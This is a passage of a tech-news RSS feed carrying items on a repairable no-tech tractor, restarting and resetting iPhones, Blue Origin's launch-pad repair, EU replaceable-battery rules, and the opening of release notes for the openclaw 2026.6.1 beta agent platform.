<content:encoded><![CDATA[An anonymous reader quotes a report from 404 Media: The secondary market for decades old, low-tech John Deere tractors has been booming for years as farmers have sought reliable tractors that they can actually fix without having to deal with John Deere's repair monopoly. A Canadian company has seen that demand and came up with a radical thought: What if they made a new, repairable, "no-tech" tractor to solve what has become a gigantic pain point for farmers? Alberta's Ursa Ag says that it has been inundated with demand after announcing its tractor, which costs roughly half as much as a Deere and has the benefit of not being a repair nightmare.
 
[...] Ursa Ag markets its tractors as "no frills" and "built to last." Ursa Ag's Doug Wilson told me that the company designed the tractor because of a need in the marketplace for a new machine that isn't loaded with tech and is easy to maintain. The company follows in the footsteps of consumer electronics companies like Fairphone, which makes a repairable smartphone and Framework, which makes modular, repairable laptops. The demand Ursa Ag has seen is part of the backlash to manufacturer repair monopolies and the injection of technology and internet-connected sensors and terms of use into even the most basic of gadgets. "I talk to farmers every day and I hear from farmers every day about how they went out and bought machinery from 1987 so that it wouldn't have a computer on it," Wilson said. "All of this came from a simple discussion with a customer who wanted to be able to turn [the tractor] on at the start of the day, to use it, and shut it off at the end of the day. It needed to work, so that's what we built."
 
Ursa Ag's tractor has been hyped in agriculture circles after Wilson showed the tractor off at a Canadian farm show and it was featured by Farms.com. Wilson said more than a thousand farmers have contacted him after that show, from roughly 30 countries. "I got a handwritten letter from a farmer in France who doesn't own a computer and wanted us to mail him information about the tractors," he said. He said the company has thus far made a couple fewer than 100 tractors but is working on tripling its production capacity and has seen a lot of demand over the last few months. "Given the number of my customers that carry flip phones, I would say there is consumer pressure to back away from some of the technology that is unnecessary to perform everyday tasks," Wilson said. "So that is definitely transferable to dishwashers and washing machines, refrigerators. Refrigerators that have screens on them that'll tell you what's inside. It's a little crazy."
 
"That high-tech stuff, the million-dollar John Deere tractor has a place. It has technology that is well worth the money," Wilson said. "But that technology is needed for 5 percent of what a farm does. There are so many applications for tractors on farms that don't require technology. The technology that goes into even a calculator is not required for most farming applications."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Demand+Is+Booming+For+New+No+Tech%2C+Repairable+Tractor%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F06%2F04%2F0043253%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F06%2F04%2F0043253%2Fdemand-is-booming-for-new-no-tech-repairable-tractor%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/06/04/0043253/demand-is-booming-for-new-no-tech-repairable-tractor?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Restart iPhone: Easy Methods for Every iPhone Model]]></title>
<description><![CDATA[If your iPhone is running slowly, apps keep crashing, or the screen becomes unresponsive, restarting the device is often the quickest fix. Apple offers several ways to restart an iPhone depending on the problem you're facing. A standard restart works for minor issues, while a force restart can he...]]></description>
<link>https://tsecurity.de/de/3568563/ios-mac-os/how-to-restart-iphone-easy-methods-for-every-iphone-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568563/ios-mac-os/how-to-restart-iphone-easy-methods-for-every-iphone-model/</guid>
<pubDate>Wed, 03 Jun 2026 08:53:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If your iPhone is running slowly, apps keep crashing, or the screen becomes unresponsive, restarting the device is often the quickest fix. Apple offers several ways to restart an iPhone depending on the problem you're facing. A standard restart works for minor issues, while a force restart can help when the phone is frozen. In more serious cases, a factory reset may be necessary.



This guide explains how to restart an iPhone using all available methods, including soft restart, force restart, and factory reset options.



Table of contentsSoft Restart (Normal Restart)For iPhone X, iPhone 11, iPhone 12, iPhone 13, iPhone 14, iPhone 15, iPhone 16, and newerFor iPhone 6, iPhone 7, iPhone 8, and iPhone SE (2nd and 3rd Generation)For iPhone SE (1st Generation), iPhone 5, and EarlierForce Restart iPhone (Hard Reset)For iPhone 8 and LaterFor iPhone 7 and iPhone 7 PlusFor iPhone 6s, iPhone SE (1st Generation), and EarlierWhen Should You Use a Force Restart?Factory Reset iPhone Without a ComputerFactory Reset iPhone Using a ComputerFAQsSummaryConclusion



Soft Restart (Normal Restart)



A soft restart is the safest and most common way to reboot your iPhone. It closes background processes and refreshes the system without deleting any data.



For iPhone X, iPhone 11, iPhone 12, iPhone 13, iPhone 14, iPhone 15, iPhone 16, and newer




Press and hold either Volume Up or Volume Down together with the Side button.



Wait until the Power Off slider appears.



Drag the slider to turn off your iPhone.



Wait about 30 seconds.



Press and hold the Side button until the Apple logo appears.




For iPhone 6, iPhone 7, iPhone 8, and iPhone SE (2nd and 3rd Generation)




Press and hold the Side button.



When the Power Off slider appears, drag it.



Wait 30 seconds for the device to shut down completely.



Press and hold the Side button until the Apple logo appears.




For iPhone SE (1st Generation), iPhone 5, and Earlier




Press and hold the Top button.



Drag the Power Off slider.



Wait around 30 seconds.



Press and hold the Top button until the Apple logo appears.








Force Restart iPhone (Hard Reset)



If your iPhone is frozen, stuck on a black screen, or not responding to touch, a force restart can help. Unlike a normal restart, this method immediately reboots the device without requiring the Power Off slider.



For iPhone 8 and Later




Quickly press and release the Volume Up button.



Quickly press and release the Volume Down button.



Press and hold the Side button.



Keep holding until the Apple logo appears.



Release the button and wait for the iPhone to restart.




For iPhone 7 and iPhone 7 Plus




Press and hold the Volume Down button and the Side button together.



Continue holding both buttons.



Release them when the Apple logo appears.




For iPhone 6s, iPhone SE (1st Generation), and Earlier




Press and hold the Home button and Power button together.



Keep holding until the Apple logo appears.



Release both buttons.




When Should You Use a Force Restart?



Use this method when:




The screen is frozen.



Apps stop responding.



The iPhone gets stuck on the Apple logo.



Touch controls stop working.



The phone becomes extremely slow and unresponsive.




A force restart does not erase your data.







Factory Reset iPhone Without a Computer



A factory reset completely erases your iPhone and restores it to factory settings. Use this only if troubleshooting methods have failed or you plan to sell or give away the device.



Before You Start:




Back up your iPhone using iCloud or a computer.



Make sure you know your Apple ID password.



Keep your phone charged.




Steps




Open Settings.



Tap General.



Select Transfer or Reset iPhone.



Tap Erase All Content and Settings.



Review the information shown on screen.



Tap Continue.



Enter your passcode.



Enter your Apple ID password if prompted.



Choose whether to keep or remove your eSIM.



Tap Erase iPhone.



Wait for the process to finish.




After completion, the iPhone will restart and display the Hello setup screen.







Factory Reset iPhone Using a Computer



If your iPhone will not boot properly or you cannot access Settings, you can restore it using a Mac or Windows PC.




Turn off Find My iPhone if possible.



Connect your iPhone to your computer using a USB cable.



Open Finder on macOS Catalina or later.



Open Apple Devices or iTunes on Windows or older Macs.



Select your iPhone.



Click Restore iPhone.



Confirm the action.



Wait while the latest iOS version is installed.



Set up the iPhone as new or restore from a backup.








FAQs



Does restarting an iPhone delete data? No. A normal restart or force restart does not delete photos, apps, messages, or settings.  What is the difference between restart and force restart? A restart shuts down the iPhone normally and then powers it back on. A force restart immediately reboots the device when it becomes frozen or unresponsive.  How often should I restart my iPhone? Restarting once every week or two can help clear temporary glitches and improve performance.  Will a factory reset remove everything? Yes. A factory reset erases all apps, photos, messages, settings, and personal data unless you restore from a backup afterward.  What should I do if my iPhone won't restart? Try a force restart first. If that doesn't work, use recovery mode and restore the device through a computer.  







Summary




Use a soft restart for everyday performance issues.



Use a force restart when your iPhone is frozen or unresponsive.



Use a factory reset without a computer if software problems persist.



Use a computer-based restore when the iPhone won't boot normally.



Always create a backup before performing a factory reset.




Conclusion



Knowing how to restart iPhone properly can save you from unnecessary troubleshooting and trips to a repair center. Start with a normal restart for minor glitches, move to a force restart if the device is frozen, and only consider a factory reset as a last resort. In most cases, a simple reboot is enough to get your iPhone running smoothly again.]]></content:encoded>
</item>
<item>
<title><![CDATA[Blue Origin CEO pledges to repair ruined launch pad and return to flight by the end of the year]]></title>
<description><![CDATA[CEO Dave Limp shares 'good news' about the Florida launch pad's condition after New Glenn rocket explosion. Read More]]></description>
<link>https://tsecurity.de/de/3567839/it-nachrichten/blue-origin-ceo-pledges-to-repair-ruined-launch-pad-and-return-to-flight-by-the-end-of-the-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567839/it-nachrichten/blue-origin-ceo-pledges-to-repair-ruined-launch-pad-and-return-to-flight-by-the-end-of-the-year/</guid>
<pubDate>Wed, 03 Jun 2026 01:17:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1260" height="625" src="https://cdn.geekwire.com/wp-content/uploads/2026/06/260602-beforeafter-1260x625.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="Before-and-after pictures of Blue Origin New Glenn launch pad explosion" decoding="async" fetchpriority="high" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/06/260602-beforeafter-1260x625.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/06/260602-beforeafter-768x381.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/06/260602-beforeafter.jpg 1532w" sizes="(max-width: 1260px) 100vw, 1260px"><br>CEO Dave Limp shares 'good news' about the Florida launch pad's condition after New Glenn rocket explosion. <a href="https://www.geekwire.com/2026/blue-origin-fix-launch-pad-return-flight/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[User-Replaceable Batteries Are Coming Back In a Big Way]]></title>
<description><![CDATA[New EU battery rules taking effect early next year are pushing tech makers toward user-replaceable batteries in products like headphones, e-readers, handheld consoles, laptops, and possibly earbuds. But carve-outs for smartphones and tablets may mean replaceable batteries won't necessarily return...]]></description>
<link>https://tsecurity.de/de/3566777/it-security-nachrichten/user-replaceable-batteries-are-coming-back-in-a-big-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3566777/it-security-nachrichten/user-replaceable-batteries-are-coming-back-in-a-big-way/</guid>
<pubDate>Tue, 02 Jun 2026 18:07:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New EU battery rules taking effect early next year are pushing tech makers toward user-replaceable batteries in products like headphones, e-readers, handheld consoles, laptops, and possibly earbuds. But carve-outs for smartphones and tablets may mean replaceable batteries won't necessarily return to phones in the way many users remember. The Verge's Dominic Preston reports: Since the upcoming law doesn't actually come into force until February 18th, 2027, companies still have plenty of time to get their ducks in a row. Still, it's likely that before then we'll see more and more manufacturers launch products with user-replaceable batteries, across audio, e-readers, gaming handhelds, and more. Only time will tell whether most of those products are EU only, or whether the new European laws shape the nature of tech worldwide.
 
It's likely that some product categories will move slower than others. Tech companies will have breathed a sigh of relief that wearables look likely to be exempt, but if wireless earbuds aren't carved out as well then there may be a scramble to adapt the miniature designs for easy replaceability. "The in-ear form factor demands extreme miniaturization, to fit the driver, antenna, processor, microphones and battery," notes a recent report from consultants Futuresource, going on to suggest that meeting the requirements will make earbuds both bigger and more expensive to manufacture.
 
There also remains uncertainty about how some elements of the law will be interpreted. The law requires that user repairs be possible using "commercially available tools," which are "tools available on the market to all end-users." Right to Repair Europe's Alberico points out that this is a broad definition, likely to include a lot of tools not found in most houses, so there will likely be nothing to stop manufacturers requiring the sorts of less common screws that require dedicated electronics tool kits. There's also no strict definition of the "reasonable" price that manufacturers are required to set for spare parts. "That will likely take time -- and possibly litigation -- to clarify in practice," Alberico says. "But without fair access to affordable spare parts, repair will struggle to become the simplest and most attractive option for consumers."
 
The big disappointment is that the separate phone and tablet legislation means we won't see any real changes there, so long as manufacturers make their batteries and devices durable. "This creates a false tradeoff between durability and repairability," Alberico says. "Robust, waterproof devices should not have to come at the expense of user-replaceable batteries. While the ecodesign legislation requirements meant an improvement in battery durability and replaceability, at Right to Repair Europe we'll continue to advocate for all products to be designed with user-replaceable batteries." Whether the EU will listen remains to be seen. Otherwise, the main product people seem to want to replace the battery in may remain one of the only ones where they can't.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=User-Replaceable+Batteries+Are+Coming+Back+In+a+Big+Way%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F06%2F02%2F0520254%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F06%2F02%2F0520254%2Fuser-replaceable-batteries-are-coming-back-in-a-big-way%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/06/02/0520254/user-replaceable-batteries-are-coming-back-in-a-big-way?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.6.1-beta.2]]></title>
<description><![CDATA[2026.6.1
Highlights

Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Sl...]]></description>
<link>https://tsecurity.de/de/3564438/downloads/openclaw-202661-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564438/downloads/openclaw-202661-beta2/</guid>
<pubDate>Tue, 02 Jun 2026 00:01:21 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.6.1</h2>
<h3>Highlights</h3>
<ul>
<li>Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.</li>
<li>Skills, session metadata, gateway runtime state, plugin metadata, memory watchers, and store writes do less repeated work on hot paths while keeping config, dispatch, and Linux file-watch behavior stable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565501615" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89185/hovercard" href="https://github.com/openclaw/openclaw/pull/89185">#89185</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565570172" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89188" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89188/hovercard" href="https://github.com/openclaw/openclaw/pull/89188">#89188</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502554299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85351" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85351/hovercard" href="https://github.com/openclaw/openclaw/pull/85351">#85351</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544177368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87796/hovercard" href="https://github.com/openclaw/openclaw/pull/87796">#87796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550878888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88107/hovercard" href="https://github.com/openclaw/openclaw/pull/88107">#88107</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Skill Workshop now has a fuller Control UI flow with proposal lists, today actions, revision handoff, searchable file previews, review states, locale coverage, and reusable session routing.</li>
<li>Chat and Control UI startup paths keep sends alive through history loading, stream deltas incrementally, skip markdown work while streaming, keep drafts local while typing, clear the composer after sends, trace first-output latency, prioritize first connect, and expose calmer composer controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559381540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88825" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88825/hovercard" href="https://github.com/openclaw/openclaw/pull/88825">#88825</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561967219" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89030/hovercard" href="https://github.com/openclaw/openclaw/pull/89030">#89030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563810098" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89106" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89106/hovercard" href="https://github.com/openclaw/openclaw/pull/89106">#89106</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</li>
<li>Provider coverage and model metadata now include MiniMax M3, account OAuth endpoints, Google/Vertex catalog fixes, OpenRouter SQLite model caching, Copilot Claude 1M capabilities, Foundry reasoning alignment, and OpenAI response replay guards. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559632397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88851/hovercard" href="https://github.com/openclaw/openclaw/pull/88851">#88851</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>iMessage monitor state, inbound queues, and plugin install ledgers moved toward SQLite-backed state so restarts and local monitors recover with less duplicate filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Release, CI, Docker, E2E, plugin install, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, status polling, child workflow waits, docker package cleanup, and rollback snapshots so failures report bounded proof instead of stalling.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery, and refresh the ClawHub showcase cards. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558517307" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88734" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88734/hovercard" href="https://github.com/openclaw/openclaw/pull/88734">#88734</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Skills: let the <code>skill_workshop</code> agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the <code>skill_workshop</code> agent tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skill Workshop: add the Control UI navigation, styled dashboard, proposal today view, revision dialog, file preview modal, searchable preview files, reusable session handoff, and localized strings.</li>
<li>Plugins: externalize Tokenjuice as the official <code>@openclaw/tokenjuice</code> plugin with npm and ClawHub publish metadata.</li>
<li>Plugins: externalize the GitHub Copilot agent runtime as the official <code>@openclaw/copilot</code> plugin with npm and ClawHub publish metadata.</li>
<li>iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>iOS: support native iPad display layouts.</li>
<li>Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>)</li>
<li>Workboard: wire task-backed board runs and show task comments in the edit modal.</li>
